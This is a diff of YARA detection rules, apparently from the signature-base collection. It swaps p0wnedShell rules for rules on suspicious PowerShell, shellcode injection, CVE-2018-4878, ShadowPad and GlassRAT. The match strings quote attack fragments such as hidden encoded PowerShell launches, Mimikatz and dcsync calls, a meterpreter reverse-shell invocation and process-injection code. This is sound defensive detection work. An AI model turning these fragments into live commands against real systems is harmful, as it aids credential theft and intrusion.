+		logic_hash = "0819f57afb6d1d878e4db4079bfd43ccac520829c877de04d16d8bd048a35ab5"
+		score = 65
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "6a3ba991d3b5d127c4325bc194b3241dde5b3a5853b78b4df1bce7cbe87c0fdf"
+		hash1 = "e387f6c7a55b85e0675e3b91e41e5814f5d0ae740b92f26ddabda6d4f69a8ca8"
 
 	strings:
-		$x1 = "Now if we point Firefox to http://127.0.0.1" fullword ascii
-		$x2 = "powercat -l -v -p" fullword ascii
-		$x3 = "P0wnedListener" fullword ascii
-		$x4 = "EncodedPayload.bat" fullword ascii
-		$x5 = "powercat -c " fullword ascii
-		$x6 = "Program.P0wnedPath()" ascii
-		$x7 = "Invoke-PowerShellTcpOneLine" fullword ascii
+		$x1 = ".Run \"powershell.exe -nop -w hidden -e " ascii
+		$x2 = "FileExists(path + \"\\..\\powershell.exe\")" fullword ascii
+		$x3 = "window.moveTo -4000, -4000" fullword ascii
+		$s1 = "= CreateObject(\"Wscript.Shell\")" fullword ascii
 
 	condition:
-		( uint16(0)==0x7375 and filesize <150KB and 1 of them ) or (2 of them )
+		filesize <20KB and (( uint16(0)==0x733c and 1 of ($x*)) or 2 of them )
 }
-rule SIGNATURE_BASE_Hacktool_Strings_P0Wnedshell : FILE
+rule SIGNATURE_BASE_Wscript_Shell_Powershell_Combo : FILE
 {
 	meta:
-		description = "Detects strings found in Runspace Post Exploitation Toolkit"
-		author = "Florian Roth"
-		id = "0846039d-1e00-5224-9560-55ab18034d54"
-		date = "2017-01-14"
-		modified = "2023-02-10"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L31-L62"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "faec8f0af877f1a80ff994e08c756728cea5f58000f7124c1a6e7e4c86e7f5c0"
-		score = 75
+		description = "Detects malware from Middle Eastern campaign reported by Talos"
+		author = "Florian Roth (Nextron Systems)"
+		id = "265ec471-d9ed-5cb6-a32b-cfa62fccdf64"
+		date = "2018-02-07"
+		modified = "2024-04-03"
+		reference = "http://blog.talosintelligence.com/2018/02/targeted-attacks-in-middle-east.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L172-L193"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0ab5808593c999c1ce342051a8e292153aa20516cf48071565d677399adfb160"
+		score = 50
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60"
-		nodeepdive = 1
+		hash1 = "15f5aaa71bfa3d62fd558a3e88dd5ba26f7638bf2ac653b8d6b8d54dc7e5926b"
 
 	strings:
-		$x1 = "Invoke-TokenManipulation" fullword ascii
-		$x2 = "windows/meterpreter" fullword ascii
-		$x3 = "lsadump::dcsync" fullword ascii
-		$x4 = "p0wnedShellx86" fullword ascii
-		$x5 = "p0wnedShellx64" fullword ascii
-		$x6 = "Invoke_PsExec()" fullword ascii
-		$x7 = "Invoke-Mimikatz" fullword ascii
-		$x8 = "Invoke_Shellcode()" fullword ascii
-		$x9 = "Invoke-ReflectivePEInjection" ascii
-		$fp1 = "Sentinel Labs, Inc." wide
-		$fp2 = "Copyright Elasticsearch B.V." ascii wide
-		$fp3 = "Attack Information: Invoke-Mimikatz" ascii
-		$fp4 = "a30226 || INDICATOR-SHELLCODE Metasploit windows/meterpreter stage transfer attempt"
-		$fp5 = "use strict"
+		$s1 = ".CreateObject(\"WScript.Shell\")" ascii
+		$p1 = "powershell.exe" fullword ascii
+		$p2 = "-ExecutionPolicy Bypass" fullword ascii
+		$p3 = "[System.Convert]::FromBase64String(" ascii
+		$fp1 = "Copyright: Microsoft Corp." ascii
 
 	condition:
-		filesize <20MB and 1 of ($x*) and not 1 of ($fp*)
+		filesize <400KB and $s1 and 1 of ($p*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_P0Wnedpotato
+rule SIGNATURE_BASE_SUSP_Powershell_String_K32_Remprocess : FILE
 {
 	meta:
-		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedPotato.cs"
+		description = "Detects suspicious PowerShell code that uses Kernel32, RemoteProccess handles or shellcode"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2c2378e3-b948-5325-9afd-76424a7130b1"
-		date = "2017-01-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L64-L81"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d9107db6c6460429358a2f9f1f47d103e96811152e8d03517871ff0c66578d05"
-		score = 75
+		id = "ad646e19-b132-5594-bea2-d74e96c06ebb"
+		date = "2018-03-31"
+		modified = "2024-04-03"
+		reference = "https://github.com/nccgroup/redsnarf"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L195-L215"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "03c80de8e59e640709c4ee1912dc47c398e265f9b88845a6de88031e2eb46ba3"
+		score = 65
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "aff2b694a01b48ef96c82daf387b25845abbe01073b76316f1aab3142fdb235b"
+		hash3 = "54a8dd78ec4798cf034c7765d8b2adfada59ac34d019e77af36dcaed1db18912"
+		hash4 = "6d52cdd74edea68d55c596554f47eefee1efc213c5820d86e64de0853a4e46b3"
 
 	strings:
-		$x1 = "Invoke-Tater" fullword ascii
-		$x2 = "P0wnedListener.Execute(WPAD_Proxy);" fullword ascii
-		$x3 = " -SpooferIP " ascii
-		$x4 = "TaterCommand()" ascii
-		$x5 = "FileName = \"cmd.exe\"," fullword ascii
+		$x1 = "Throw \"Unable to allocate memory in the remote process for shellcode\"" fullword ascii
+		$x2 = "$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke(\"kernel32.dll\")" fullword ascii
+		$s3 = "$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants." ascii
+		$s7 = "if ($RemoteProcHandle -eq [IntPtr]::Zero)" fullword ascii
+		$s8 = "if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))" fullword ascii
+		$s9 = "$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, " ascii
+		$s15 = "$TypeBuilder.DefineField('Characteristics', [UInt32], 'Public') | Out-Null" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x7566 and filesize <6000KB and 1 of them
 }
-rule SIGNATURE_BASE_P0Wnedexploits
+rule SIGNATURE_BASE_Powershell_JAB_B64 : FILE
 {
 	meta:
-		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedExploits.cs"
+		description = "Detects base464 encoded $ sign at the beginning of a string"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9f754f5f-85e8-5b6f-bde2-566da4d39586"
-		date = "2017-01-14"
-		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L83-L97"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "40f23316117faa63fa9e9a5d281600f8e9d41857aac815d22559391c74dec157"
-		score = 75
-		quality = 85
-		tags = ""
+		id = "c18fa17b-aaa5-5a89-bc25-3cc51b5af103"
+		date = "2018-04-02"
+		modified = "2024-04-03"
+		reference = "https://twitter.com/ItsReallyNick/status/980915287922040832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L217-L231"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4746a73774f945e63455ca7dd58ef67290f7c66d2dca80d06d52d2545c69a190"
+		score = 60
+		quality = 83
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "54548e7848e742566f5596d8f02eca1fd2cbfeae88648b01efb7bab014b9301b"
 
 	strings:
-		$x1 = "Pshell.RunPSCommand(Whoami);" fullword ascii
-		$x2 = "If succeeded this exploit should popup a System CMD Shell" fullword ascii
+		$s1 = "('JAB" ascii wide
+		$s2 = "powershell" nocase
 
 	condition:
-		all of them
+		filesize <30KB and all of them
 }
-rule SIGNATURE_BASE_P0Wnedshellx64
+rule SIGNATURE_BASE_SUSP_PS1_Frombase64String_Content_Indicator : FILE
 {
 	meta:
-		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShellx64.exe"
+		description = "Detects suspicious base64 encoded PowerShell expressions"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c9791804-4f08-5b7e-8d9d-37e2dfccec47"
-		date = "2017-01-14"
-		modified = "2021-09-15"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L99-L118"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d7cd33548ed3485cc6f3cd289813a8eb83b34e800b839c5c8f8add5f9e01a3da"
-		score = 75
-		quality = 85
-		tags = ""
-		hash1 = "d8b4f5440627cf70fa0e0e19e0359b59e671885f8c1855517211ba331f48c449"
+		id = "326c83ff-5d21-508f-b935-03ccdab6efa7"
+		date = "2020-01-25"
+		modified = "2024-04-03"
+		reference = "https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_susp.yar#L233-L284"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a9ec7a00e9faee5cc081a2bc86abf8027fcd3cfe590cdd4f2f99425b6723f23f"
+		score = 65
+		quality = 83
+		tags = "FILE"
 
 	strings:
-		$x1 = "Oq02AB+LCAAAAAAABADs/QkW3LiOLQBuRUsQR1H731gHMQOkFGFnvvrdp/O4sp6tkDiAIIjhAryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9Pjgb/+kPPhv9Sjp01Wf" wide
-		$x2 = "Invoke-TokenManipulation" wide
-		$x3 = "-CreateProcess \"cmd.exe\" -Username \"nt authority\\system\"" fullword wide
-		$x4 = "CommandShell with Local Administrator privileges :)" fullword wide
-		$x5 = "Invoke-shellcode -Payload windows/meterpreter/reverse_https -Lhost " fullword wide
-		$fp1 = "AVSignature" ascii wide
+		$ = "::FromBase64String(\"H4s" ascii wide
+		$ = "::FromBase64String(\"TVq" ascii wide
+		$ = "::FromBase64String(\"UEs" ascii wide
+		$ = "::FromBase64String(\"JAB" ascii wide
+		$ = "::FromBase64String(\"SUVY" ascii wide
+		$ = "::FromBase64String(\"SQBFAF" ascii wide
+		$ = "::FromBase64String(\"SQBuAH" ascii wide
+		$ = "::FromBase64String(\"PAA" ascii wide
+		$ = "::FromBase64String(\"cwBhA" ascii wide
+		$ = "::FromBase64String(\"aWV4" ascii wide
+		$ = "::FromBase64String(\"aQBlA" ascii wide
+		$ = "::FromBase64String(\"R2V0" ascii wide
+		$ = "::FromBase64String(\"dmFy" ascii wide
+		$ = "::FromBase64String(\"dgBhA" ascii wide
+		$ = "::FromBase64String(\"dXNpbm" ascii wide
+		$ = "::FromBase64String(\"H4sIA" ascii wide
+		$ = "::FromBase64String(\"Y21k" ascii wide
+		$ = "::FromBase64String(\"Qzpc" ascii wide
+		$ = "::FromBase64String(\"Yzpc" ascii wide
+		$ = "::FromBase64String(\"IAB" ascii wide
+		$ = "::FromBase64String('H4s" ascii wide
+		$ = "::FromBase64String('TVq" ascii wide
+		$ = "::FromBase64String('UEs" ascii wide
+		$ = "::FromBase64String('JAB" ascii wide
+		$ = "::FromBase64String('SUVY" ascii wide
+		$ = "::FromBase64String('SQBFAF" ascii wide
+		$ = "::FromBase64String('SQBuAH" ascii wide
+		$ = "::FromBase64String('PAA" ascii wide
+		$ = "::FromBase64String('cwBhA" ascii wide
+		$ = "::FromBase64String('aWV4" ascii wide
+		$ = "::FromBase64String('aQBlA" ascii wide
+		$ = "::FromBase64String('R2V0" ascii wide
+		$ = "::FromBase64String('dmFy" ascii wide
+		$ = "::FromBase64String('dgBhA" ascii wide
+		$ = "::FromBase64String('dXNpbm" ascii wide
+		$ = "::FromBase64String('H4sIA" ascii wide
+		$ = "::FromBase64String('Y21k" ascii wide
+		$ = "::FromBase64String('Qzpc" ascii wide
+		$ = "::FromBase64String('Yzpc" ascii wide
+		$ = "::FromBase64String('IAB" ascii wide
 
 	condition:
-		1 of ($x*) and not 1 of them
+		filesize <5000KB and 1 of them
 }
-rule SIGNATURE_BASE_P0Wnedlistenerconsole
+rule SIGNATURE_BASE_Crime_Ole_Loadswf_Cve_2018_4878 : PURPORTED_NORTH_KOREAN_ACTORS CVE_2018_4878 FILE
 {
 	meta:
-		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedListenerConsole.cs"
-		author = "Florian Roth (Nextron Systems)"
-		id = "77d13c34-3e15-5bc1-a100-f04be38cfb44"
-		date = "2017-01-14"
+		description = "Detects CVE-2018-4878"
+		author = "Vitali Kremez, Flashpoint"
+		id = "44797bbc-693b-5fcb-a4a4-4ebf3f4da725"
+		date = "2024-01-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L120-L140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "068e590f6f4f99c27814f2bf96d51e1c8c6422afcf8b99bb9f1852216335da7b"
+		reference = "hxxps://www[.]krcert[.]or[.kr/data/secNoticeView.do?bulletin_writing_sequence=26998"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_ole_loadswf_cve_2018_4878.yar#L2-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "716cad0c5a12cc360522e2649c7870a493bef4bec3d55c3a3e235f3a85c02a56"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "d2d84e65fad966a8556696fdaab5dc8110fc058c9e9caa7ea78aa00921ae3169"
+		tags = "PURPORTED NORTH KOREAN ACTORS, CVE-2018-4878, FILE"
+		vuln_type = "Remote Code Execution"
+		vuln_impact = "Use-after-free"
+		affected_versions = "Adobe Flash 28.0.0.137 and earlier versions"
+		mitigation0 = "Implement Protected View for Office documents"
+		mitigation1 = "Disable Adobe Flash"
+		weaponization = "Embedded in Microsoft Office first payloads"
+		actor = "Purported North Korean actors"
 
 	strings:
-		$x1 = "Invoke_ReflectivePEInjection" fullword wide
-		$x5 = "p0wnedShell> " fullword wide
-		$x6 = "Resources.Get_PassHashes" fullword wide
-		$s7 = "Invoke_CredentialsPhish" fullword wide
-		$s8 = "Invoke_Shellcode" fullword wide
-		$s9 = "Resources.Invoke_TokenManipulation" fullword wide
-		$s10 = "Resources.Port_Scan" fullword wide
-		$s20 = "Invoke_PowerUp" fullword wide
+		$header = "rdf:RDF" wide ascii
+		$title = "Adobe Flex" wide ascii
+		$pdb = "F:\\work\\flash\\obfuscation\\loadswf\\src" wide ascii
+		$s0 = "URLRequest" wide ascii
+		$s1 = "URLLoader" wide ascii
+		$s2 = "loadswf" wide ascii
+		$s3 = "myUrlReqest" wide ascii
 
 	condition:
-		1 of them
+		filesize <500KB and all of ($header*) and all of ($title*) and 3 of ($s*) or all of ($pdb*) and all of ($header*) and 1 of ($s*)
 }
-rule SIGNATURE_BASE_P0Wnedbinaries
+import "pe"
+
+rule SIGNATURE_BASE_Shadowpad_Nssock2 : FILE
 {
 	meta:
-		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedBinaries.cs"
+		description = "Detects malicious nssock2.dll from ShadowPad incident - file nssock2.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0c62dd3a-195c-5890-b262-2eb00c58f8c1"
-		date = "2017-01-14"
+		id = "47ecc7f8-065a-558b-9bba-300fd28f4eab"
+		date = "2017-08-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L142-L161"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4df7fcf508a9257ea418bd1995158c3676037b310dc884d44658977fda81b13b"
+		reference = "https://securelist.com/shadowpad-in-corporate-networks/81432/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_shadowpad.yar#L13-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ea9675d5acfdc80cfa787db2c2dfe2169aa7c5e3ead35f020d0b0b664ecb4bf4"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fd7014625b58d00c6e54ad0e587c6dba5d50f8ca4b0f162d5af3357c2183c7a7"
-
-	strings:
-		$x1 = "Oq02AB+LCAAAAAAABADs/QkW3LiOLQBuRUsQR1H731gHMQOkFGFnvvrdp/O4sp6tkDiAIIjhAryu4z6PVOtxHuXz3/xT6X9za/Df/Hsa/JT/9" ascii
-		$x2 = "wpoWAB+LCAAAAAAABADs/QeyK7uOBYhORUNIenL+E2vBA0ympH3erY4f8Tte3TpbUiY9YRbcGK91vVKtr+tV3v/B/yr/m1vD/+DvNOVb+V/f" ascii
-		$x3 = "mo0MAB+LCAAAAAAABADsXQl24zqu3YqXII6i9r+xJ4AACU4SZcuJnVenf/9OxbHEAcRwcQGu62NbHsrax/Iw+3/hP5b+VzuH/4WfVeDf8n98" ascii
-		$x4 = "LE4CAB+LCAAAAAAABADsfQmW2zqu6Fa8BM7D/jf2hRmkKNuVm/Tt9zunkipb4giCIGb2/prhFUt5hVe+/sNP4b+pVvwPn+OQp/LT9ge/+" ascii
-		$x5 = "XpMCAB+LCAAAAAAABADsfQeWIzmO6FV0hKAn73+xL3iAwVAqq2t35r/tl53VyhCDFoQ3Y7zW9Uq1vq5Xef/CT+X/59bwFz6nKU/lp+8P/" ascii
-		$x6 = "STwAAB+LCAAAAAAABADtWwmy6yoO3YqXgJjZ/8ZaRwNgx/HNfX/o7qqUkxgzCM0SmLR2jHBQzkc4En9xZbvHUuSLMnWv9ateK/70ilStR" ascii
-		$x7 = "namespace p0wnedShell" fullword ascii
+		hash1 = "462a02a8094e833fd456baf0a6d4e18bb7dab1a9f74d5f163a8334921a4ffde8"
+		hash2 = "c45116a22cf5695b618fcdf1002619e8544ba015d06b2e1dbf47982600c7545f"
+		hash3 = "696be784c67896b9239a8af0a167add72b1becd3ef98d03e99207a3d5734f6eb"
+		hash4 = "515d3110498d7b4fdb451ed60bb11cd6835fcff4780cb2b982ffd2740e1347a0"
+		hash5 = "536d7e3bd1c9e1c2fd8438ab75d6c29c921974560b47c71686714d12fb8e9882"
+		hash6 = "637fa40cf7dd0252c87140f7895768f42a370551c87c37a3a77aac00eb17d72e"
 
 	condition:
-		1 of them
+		( uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="c67de089f2009b21715744762fc484e8" or pe.imphash()=="11522f7d4b2fc05acba8f534ca1b828a"))
 }
-rule SIGNATURE_BASE_P0Wnedamsibypass
+rule SIGNATURE_BASE_Glassrat
 {
 	meta:
-		description = "p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedAmsiBypass.cs"
-		author = "Florian Roth (Nextron Systems)"
-		id = "168af265-d3e9-59a2-b754-20d6c9a298b1"
-		date = "2017-01-14"
+		description = "Detects GlassRAT by RSA (modified by Florian Roth - speed improvements)"
+		author = "RSA RESEARCH"
+		id = "7739d1f6-f16d-5599-9388-a1d89dbeb355"
+		date = "2015-11-03"
 		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L163-L178"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1f7613506058706fc74979fdd4f9e425e9d16527120e0f2f49bc21e3e43d3b16"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_glassRAT.yar#L8-L43"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "939d2cb11ff414641f68b2913fe8d24458e1fd7ba450b8781072bb10da3ad039"
 		score = 75
 		quality = 85
 		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "345e8e6f38b2914f4533c4c16421d372d61564a4275537e674a2ac3360b19284"
+		Info = "GlassRat"
 
 	strings:
-		$x1 = "Program.P0wnedPath()" fullword ascii
-		$x2 = "namespace p0wnedShell" fullword ascii
-		$x3 = "H4sIAAAAAAAEAO1YfXRUx3WflXalFazQgiVb5nMVryzxIbGrt/rcFRZIa1CQYEFCQnxotUhP2pX3Q337HpYotCKrPdbmoQQnkOY0+BQCNKRpe" ascii
+		$bin1 = {85 C0 B3 01}
+		$bin3 = {68 4C 50 00 10}
+		$bin4 = {68 48 50 00 10}
+		$bin5 = {68 44 50 00 10}
+		$hs = {CB FF 5D C9 AD 3F 5B A1 54 13 FE FB 05 C6 22}
+		$s1 = "pwlfnn10,gzg"
+		$s2 = "AddNum"
+		$s3 = "ServiceMain"
+		$s4 = "The Window"
+		$s5 = "off.dat"
 
 	condition:
-		1 of them
+		all of ($bin*) and $hs and 3 of ($s*)
 }
-rule SIGNATURE_BASE_P0Wnedshell_Outputs
+rule SIGNATURE_BASE_Glassrat_Generic : FILE
 {
 	meta:
-		description = "p0wnedShell Runspace Post Exploitation Toolkit - from files p0wnedShell.cs, p0wnedShell.cs"
+		description = "Detects GlassRAT Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "c19fc14b-0c42-5dd1-bff2-ba75f4168d9c"
-		date = "2017-01-14"
+		id = "d09c4a9f-15ad-56d7-b015-94f494420e98"
+		date = "2015-11-23"
 		modified = "2023-12-05"
-		reference = "https://github.com/Cn33liz/p0wnedShell"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_p0wnshell.yar#L180-L196"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "85d5317a473d981fe6ee1362789f34653a838c63d823bb62028a25c9db27cf6e"
-		score = 75
+		reference = "https://blogs.rsa.com/peering-into-glassrat/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_glassRAT.yar#L45-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fdd309c403e53bfa80340c1334f90fd5ef5f4618737b19069a07f7aa63aeb23d"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "e1f35310192416cd79e60dba0521fc6eb107f3e65741c344832c46e9b4085e60"
+		hash1 = "30d26aebcee21e4811ff3a44a7198a5c519843a24f334880384a7158e07ae399"
+		hash2 = "3bdeb3805e9230361fb93c6ffb0bfec8d3aee9455d95b2428c7f6292d387d3a4"
+		hash3 = "79993f1912958078c4d98503e00dc526eb1d0ca4d020d17b010efa6c515ca92e"
+		hash4 = "a9b30b928ebf9cda5136ee37053fa045f3a53d0706dcb2343c91013193de761e"
+		hash5 = "c11faf7290299bb13925e46d040ed59ab3ca8938eab1f171aa452603602155cb"
+		hash6 = "d95fa58a81ab2d90a8cbe05165c00f9c8ad5b4f49e98df2ad391f5586893490d"
+		hash7 = "f1209eb95ce1319af61f371c7f27bf6846eb90f8fd19e8d84110ebaf4744b6ea"
 
 	strings:
-		$s1 = "[+] For this attack to succeed, you need to have Admin privileges." fullword ascii
-		$s2 = "[+] This is not a valid hostname, please try again" fullword ascii
-		$s3 = "[+] First return the name of our current domain." fullword ascii
+		$s1 = "cmd.exe /c %s" fullword ascii
+		$s2 = "update.dll" fullword ascii
+		$s3 = "SYSTEM\\CurrentControlSet\\Services\\RasAuto\\Parameters" fullword ascii
+		$s4 = "%%temp%%\\%u" fullword ascii
+		$s5 = "\\off.dat" ascii
+		$s6 = "rundll32 \"%s\",AddNum" fullword ascii
+		$s7 = "cmd.exe /c erase /F \"%s\"" fullword ascii
+		$s8 = "SYSTEM\\ControlSet00%d\\Services\\RasAuto" fullword ascii
 
 	condition:
-		1 of them
+		uint16(0)==0x5a4d and filesize <15MB and 5 of them
 }
-rule SIGNATURE_BASE_Hunting_Rule_Shikataganai
+rule SIGNATURE_BASE_Explosive_EXE : APT FILE
 {
 	meta:
-		description = "No description has been set in the source file - Signature Base"
-		author = "Steven Miller"
-		id = "fe266a42-0480-5a98-9368-8a18aa5e4f69"
+		description = "Explosion/Explosive Malware - Volatile Cedar APT"
+		author = "Check Point Software Technologies Inc."
+		id = "3a9fb6b2-2f19-5d70-81ed-a08c3b8b2d80"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://www.fireeye.com/blog/threat-research/2019/10/shikata-ga-nai-encoder-still-going-strong.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_shikataganai.yar#L1-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "733522cb1d61f4bbb300d73ff21d9d7d10a78aae06e03408fce4b88e4c51f662"
-		score = 50
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_volatile_cedar.yar#L1-L12"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "77eb74586f5ef2878c0d283b925e6e066f704d00525303990cf5ea7988a6637d"
+		score = 75
 		quality = 85
-		tags = ""
-		company = "FireEye"
+		tags = "APT, FILE"
 
 	strings:
-		$varInitializeAndXorCondition1_XorEAX = { B8 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 59 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 40 | 41 | 42 | 43 | 45 | 46 | 47 ) ?? }
-		$varInitializeAndXorCondition1_XorEBP = { BD ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5B | 5C | 5E | 5F ) [0-50] 31 ( 68 | 69 | 6A | 6B | 6D | 6E | 6F ) ?? }
-		$varInitializeAndXorCondition1_XorEBX = { BB ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 59 | 5A | 5C | 5D | 5E | 5F ) [0-50] 31 ( 58 | 59 | 5A | 5B | 5D | 5E | 5F ) ?? }
-		$varInitializeAndXorCondition1_XorECX = { B9 ?? ?? ?? ?? [0-30] D9 74 24 F4 [0-10] ( 58 | 5A | 5B | 5C | 5D | 5E | 5F ) [0-50] 31 ( 48 | 49 | 4A | 4B | 4D | 4E | 4F ) ?? }
